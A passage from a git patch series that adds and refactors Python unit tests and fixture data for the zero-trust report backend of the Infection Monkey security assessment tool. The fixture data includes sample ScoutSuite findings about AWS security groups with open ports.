zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_TUNNELING][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - ], - zero_trust_consts.PEOPLE: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USER_BEHAVIOUR], - "status": zero_trust_consts.STATUS_VERIFY, - "tests": [ - { - "status": zero_trust_consts.STATUS_VERIFY, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_SCHEDULED_EXECUTION][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - } - ], - zero_trust_consts.VISIBILITY_ANALYTICS: [ - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_USERS_MAC_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], - "status": zero_trust_consts.STATUS_UNEXECUTED, - "tests": [ - { - "status": zero_trust_consts.STATUS_UNEXECUTED, - "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_TUNNELING][ - zero_trust_consts.TEST_EXPLANATION_KEY] - } - ] - }, - ], - zero_trust_consts.WORKLOADS: [] -} - - -def save_example_findings(): - # arrange - Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_PASSED, - []) # devices passed = 1 - Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_PASSED, - []) # devices passed = 2 - Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED, - []) # devices failed = 1 - # devices unexecuted = 1 - # people verify = 1 - # networks verify = 1 - Finding.save_finding(zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY, []) - # people verify = 2 - # networks verify = 2 - Finding.save_finding(zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY, []) - # data failed 1 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data failed 2 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data failed 3 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data failed 4 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data failed 5 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) - # data verify 1 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY, []) - # data verify 2 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY, []) - # data passed 1 - Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_PASSED, []) - - -class TestZeroTrustService(IslandTestCase): - - @pytest.mark.skip(reason="Broken during ScoutSuite refactoring, need to be fixed") - def test_get_pillars_grades(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - save_example_findings() - - expected = [ - { - zero_trust_consts.STATUS_FAILED: 5, - zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 1, - zero_trust_consts.STATUS_UNEXECUTED: 1, - "pillar": "Data" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 1, - "pillar": "People" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 2, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 4, - "pillar": "Networks" - }, - { - zero_trust_consts.STATUS_FAILED: 1, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 2, - zero_trust_consts.STATUS_UNEXECUTED: 1, - "pillar": "Devices" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 0, - "pillar": "Workloads" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 3, - "pillar": "Visibility & Analytics" - }, - { - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 0, - "pillar": "Automation & Orchestration" - } - ] - - result = ZeroTrustService.get_pillars_grades() - - self.assertEqual(result, expected) - - @pytest.mark.skip(reason="Broken during ScoutSuite refactoring, need to be fixed") - def test_get_principles_status(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - self.maxDiff = None - - save_example_findings() - - expected = dict(EXPECTED_DICT) # new mutable - - result = ZeroTrustService.get_principles_status() - # Compare expected and result, no order: - for pillar_name, pillar_principles_status_result in result.items(): - for index, pillar_principle_status_expected in enumerate(expected.get(pillar_name)): - correct_one = None - for pillar_principle_status_result in pillar_principles_status_result: - if pillar_principle_status_result["principle"] == pillar_principle_status_expected["principle"]: - correct_one = pillar_principle_status_result - break - - # Compare tests no order - self.assertTrue(compare_lists_no_order(correct_one["tests"], pillar_principle_status_expected["tests"])) - # Compare the rest - del pillar_principle_status_expected["tests"] - del correct_one["tests"] - self.assertEqual(sorted(correct_one), sorted(pillar_principle_status_expected)) - - @pytest.mark.skip(reason="Broken during ScoutSuite refactoring, need to be fixed") - def test_get_pillars_to_statuses(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - self.maxDiff = None - - expected = { - zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DEVICES: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED - } - - self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected) - - save_example_findings() - - expected = { - zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DEVICES: zero_trust_consts.STATUS_FAILED, - zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_VERIFY, - zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, - zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, - zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED - } - - self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected) - - @pytest.mark.skip(reason="Broken during ScoutSuite refactoring, need to be fixed") - def test_get_events_without_overlap(self): - monkey_island.cc.services.reporting.zero_trust_service.EVENT_FETCH_CNT = 5 - self.assertListEqual([], ZeroTrustService._get_events_without_overlap(5, [1, 2, 3])) - self.assertListEqual([3], ZeroTrustService._get_events_without_overlap(6, [1, 2, 3])) - self.assertListEqual([1, 2, 3, 4, 5], ZeroTrustService._get_events_without_overlap(10, [1, 2, 3, 4, 5])) - - -def compare_lists_no_order(s, t): - t = list(t) # make a mutable copy - try: - for elem in s: - t.remove(elem) - except ValueError: - return False - return not t diff --git a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py new file mode 100644 index 000000000..00ab2905f --- /dev/null +++ b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py @@ -0,0 +1,4 @@ + + +class FixtureEnum: + USES_DATABASE = 'uses_database' From 393eed42daa6d755bf1d29f17e58b14c1a1b87ca Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 27 Jan 2021 08:54:09 +0200 Subject: [PATCH 162/466] Added zero trust report backend tests and common test data used in these tests --- .../zero_trust/monkey_finding_details.py | 4 - .../zero_trust/scoutsuite_finding_details.py | 5 - .../zero_trust/test_common/finding_data.py | 23 ++++ .../test_common/monkey_finding_data.py | 33 +++++ .../test_common/scoutsuite_finding_data.py | 76 ++++++++++++ .../test_common/example_finding_data.py | 57 +++++++++ .../zero_trust_report/test_finding_service.py | 51 ++++++++ .../zero_trust_report/test_pillar_service.py | 113 ++++++++++++++++++ .../test_principle_service.py | 94 +++++++++++++++ 9 files changed, 447 insertions(+), 9 deletions(-) create mode 100644 monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py index 1a75c7b4d..bec29fb21 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py @@ -8,10 +8,6 @@ from monkey_island.cc.models.zero_trust.event import Event class MonkeyFindingDetails(Document): - """ - This model represents additional information about monkey finding: - Events - """ # SCHEMA events = EmbeddedDocumentListField(document_type=Event, required=False) diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py index 52aa09d17..cbc8c5f29 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py @@ -4,11 +4,6 @@ from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule class ScoutSuiteFindingDetails(Document): - """ - This model represents additional information about monkey finding: - Events if monkey finding - Scoutsuite findings if scoutsuite finding - """ # SCHEMA scoutsuite_rules = EmbeddedDocumentListField(document_type=ScoutSuiteRule, required=False) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py new file mode 100644 index 000000000..0b8de9221 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -0,0 +1,23 @@ +from common.common_consts.zero_trust_consts import TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, SCOUTSUITE_FINDING, \ + TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, MONKEY_FINDING +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import get_monkey_details_dto +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import get_scoutsuite_details_dto + + +def get_scoutsuite_finding_dto() -> Finding: + scoutsuite_details = get_scoutsuite_details_dto() + scoutsuite_details.save() + return Finding(test=TEST_SCOUTSUITE_SERVICE_SECURITY, + status=STATUS_FAILED, + finding_type=SCOUTSUITE_FINDING, + details=scoutsuite_details) + + +def get_monkey_finding_dto() -> Finding: + monkey_details = get_monkey_details_dto() + monkey_details.save() + return Finding(test=TEST_ENDPOINT_SECURITY_EXISTS, + status=STATUS_PASSED, + finding_type=MONKEY_FINDING, + details=monkey_details) diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py new file mode 100644 index 000000000..d727ea9e8 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py @@ -0,0 +1,33 @@ +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails + +EVENTS = [ + { + "timestamp": "2021-01-20T15:40:28.357Z", + "title": "Process list", + "message": "Monkey on gc-pc-244 scanned the process list", + "event_type": "monkey_local" + }, + { + "timestamp": "2021-01-20T16:08:29.519Z", + "title": "Process list", + "message": "", + "event_type": "monkey_local" + }, +] + +EVENTS_DTO = [ + Event(timestamp=event['timestamp'], + title=event['title'], + message=event['message'], + event_type=event['event_type']) for event in EVENTS +] + +DETAILS_DTO = [] + + +def get_monkey_details_dto() -> MonkeyFindingDetails: + monkey_details = MonkeyFindingDetails() + monkey_details.events.append(EVENTS_DTO[0]) + monkey_details.events.append(EVENTS_DTO[1]) + return monkey_details diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py new file mode 100644 index 000000000..cddc6b72c --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -0,0 +1,76 @@ +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule +from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import PermissiveFirewallRules, UnencryptedData + +SCOUTSUITE_FINDINGS = [ + PermissiveFirewallRules, + UnencryptedData +] + +RULES = [ + ScoutSuiteRule( + checked_items=179, + compliance=None, + dashboard_name='Rules', + description='Security Group Opens All Ports to All', + flagged_items=2, + items=[ + 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65' + '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR' + ], + level='danger', + path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + rationale='It was detected that all ports in the security group are open, and any source IP address' + ' could send traffic to these ports, which creates a wider attack surface for resources ' + 'assigned to it. Open ports should be reduced to the minimum needed to correctly', + references=[], + remediation=None, + service='EC2' + ), + ScoutSuiteRule( + checked_items=179, + compliance=[{'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.1'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.0.0', 'reference': '4.2'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.1'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.1.0', 'reference': '4.2'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.1'}, + {'name': 'CIS Amazon Web Services Foundations', 'version': '1.2.0', 'reference': '4.2'}], + dashboard_name='Rules', + description='Security Group Opens RDP Port to All', + flagged_items=7, + items=[ + 'ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg-00bdef5951797199c' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR', + 'ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg-01902f153d4f938da' + '.rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR'], + level='danger', + path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', + rationale='The security group was found to be exposing a well-known port to all source addresses.' + ' Well-known ports are commonly probed by automated scanning tools, and could be an indicator ' + 'of sensitive services exposed to Internet. If such services need to be expos', + references=[], + remediation='Remove the inbound rules that expose open ports', + service='EC2' + ) +] + + +def get_scoutsuite_details_dto() -> ScoutSuiteFindingDetails: + scoutsuite_details = ScoutSuiteFindingDetails() + scoutsuite_details.scoutsuite_rules.append(RULES[0]) + scoutsuite_details.scoutsuite_rules.append(RULES[1]) + return scoutsuite_details + + diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py new file mode 100644 index 000000000..917678ed8 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py @@ -0,0 +1,57 @@ +from common.common_consts import zero_trust_consts +from monkey_island.cc.services.zero_trust.test_common.finding_data import get_monkey_finding_dto, \ + get_scoutsuite_finding_dto + + +def save_example_findings(): + # devices passed = 1 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED) + # devices passed = 2 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_PASSED) + # devices failed = 1 + _save_finding_with_status('monkey', zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.STATUS_FAILED) + # people verify = 1 + # networks verify = 1 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCHEDULED_EXECUTION, + zero_trust_consts.STATUS_VERIFY) + # people verify = 2 + # networks verify = 2 + _save_finding_with_status('monkey', zero_trust_consts.TEST_SCHEDULED_EXECUTION, + zero_trust_consts.STATUS_VERIFY) + # data failed 1 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_FAILED) + # data failed 2 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED) + # data failed 3 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_FAILED) + # data failed 4 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_FAILED) + # data failed 5 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_FAILED) + # data verify 1 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_VERIFY) + # data verify 2 + _save_finding_with_status('monkey', zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + zero_trust_consts.STATUS_VERIFY) + # data passed 1 + _save_finding_with_status('scoutsuite', zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA, + zero_trust_consts.STATUS_PASSED) + + +def _save_finding_with_status(finding_type: str, test: str, status: str): + if finding_type == 'scoutsuite': + finding = get_scoutsuite_finding_dto() + else: + finding = get_monkey_finding_dto() + finding.test = test + finding.status = status + finding.save() diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py new file mode 100644 index 000000000..36ef060fd --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -0,0 +1,51 @@ +from unittest.mock import MagicMock + +import pytest + +from common.common_consts.zero_trust_consts import TESTS_MAP, TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \ + SCOUTSUITE_FINDING, DEVICES, NETWORKS, MONKEY_FINDING, STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService +from monkey_island.cc.services.zero_trust.test_common.finding_data import get_scoutsuite_finding_dto, get_monkey_finding_dto +from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService, EnrichedFinding +from monkey_island.cc.test_common.fixtures.fixture_enum import FixtureEnum + + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_get_all_findings(): + get_scoutsuite_finding_dto().save() + get_monkey_finding_dto().save() + + # This method fails due to mongomock not being able to simulate $unset, so don't test details + MonkeyZTDetailsService.fetch_details_for_display = MagicMock(return_value=None) + + findings = FindingService.get_all_findings() + + description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]['finding_explanation'][STATUS_FAILED] + expected_finding0 = EnrichedFinding(finding_id=findings[0].finding_id, + finding_type=SCOUTSUITE_FINDING, + pillars=[DEVICES, NETWORKS], + status=STATUS_FAILED, + test=description, + test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, + details=None) + + description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]['finding_explanation'][STATUS_PASSED] + expected_finding1 = EnrichedFinding(finding_id=findings[1].finding_id, + finding_type=MONKEY_FINDING, + pillars=[DEVICES], + status=STATUS_PASSED, + test=description, + test_key=TEST_ENDPOINT_SECURITY_EXISTS, + details=None) + + # Don't test details + details = [] + for finding in findings: + details.append(finding.details) + finding.details = None + + assert findings[0] == expected_finding0 + assert findings[1] == expected_finding1 + + + diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py new file mode 100644 index 000000000..48f3c0d85 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -0,0 +1,113 @@ +from typing import List + +import pytest + +from common.common_consts import zero_trust_consts +from common.common_consts.zero_trust_consts import DATA, PEOPLE, NETWORKS, WORKLOADS, VISIBILITY_ANALYTICS, \ + AUTOMATION_ORCHESTRATION, DEVICES +from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService +from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import \ + save_example_findings +from monkey_island.cc.test_common.fixtures import FixtureEnum + + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_get_pillars_grades(): + save_example_findings() + expected_grades = _get_expected_pillar_grades() + computed_grades = PillarService.get_pillars_grades() + assert expected_grades == computed_grades + + +def _get_expected_pillar_grades() -> List[dict]: + return [ + { + zero_trust_consts.STATUS_FAILED: 5, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 1, + # 2 different tests of DATA pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DATA) - 2, + "pillar": "Data" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, + # 1 test of PEOPLE pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(PEOPLE) - 1, + "pillar": "People" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, + # 1 different tests of NETWORKS pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(NETWORKS) - 1, + "pillar": "Networks" + }, + { + zero_trust_consts.STATUS_FAILED: 1, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 2, + # 1 different tests of DEVICES pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(DEVICES) - 1, + "pillar": "Devices" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + # 0 different tests of WORKLOADS pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(WORKLOADS), + "pillar": "Workloads" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + # 0 different tests of VISIBILITY_ANALYTICS pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(VISIBILITY_ANALYTICS), + "pillar": "Visibility & Analytics" + }, + { + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + # 0 different tests of AUTOMATION_ORCHESTRATION pillar were executed in _save_findings() + zero_trust_consts.STATUS_UNEXECUTED: _get_cnt_of_tests_in_pillar(AUTOMATION_ORCHESTRATION), + "pillar": "Automation & Orchestration" + } + ] + + +def _get_cnt_of_tests_in_pillar(pillar: str): + tests_in_pillar = [value for (key, value) in zero_trust_consts.TESTS_MAP.items() if pillar in value['pillars']] + return len(tests_in_pillar) + + +@pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) +def test_get_pillars_to_statuses(): + # Test empty database + expected = { + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED + } + assert PillarService.get_pillars_to_statuses() == expected + + # Test with example finding set + save_example_findings() + expected = { + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_FAILED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED + } + assert PillarService.get_pillars_to_statuses() == expected diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py new file mode 100644 index 000000000..fd2502f59 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -0,0 +1,94 @@ +import pytest + +from common.common_consts import zero_trust_consts +from monkey_island.cc.services.zero_trust.test_common.finding_data import get_monkey_finding_dto, \ + get_scoutsuite_finding_dto +from 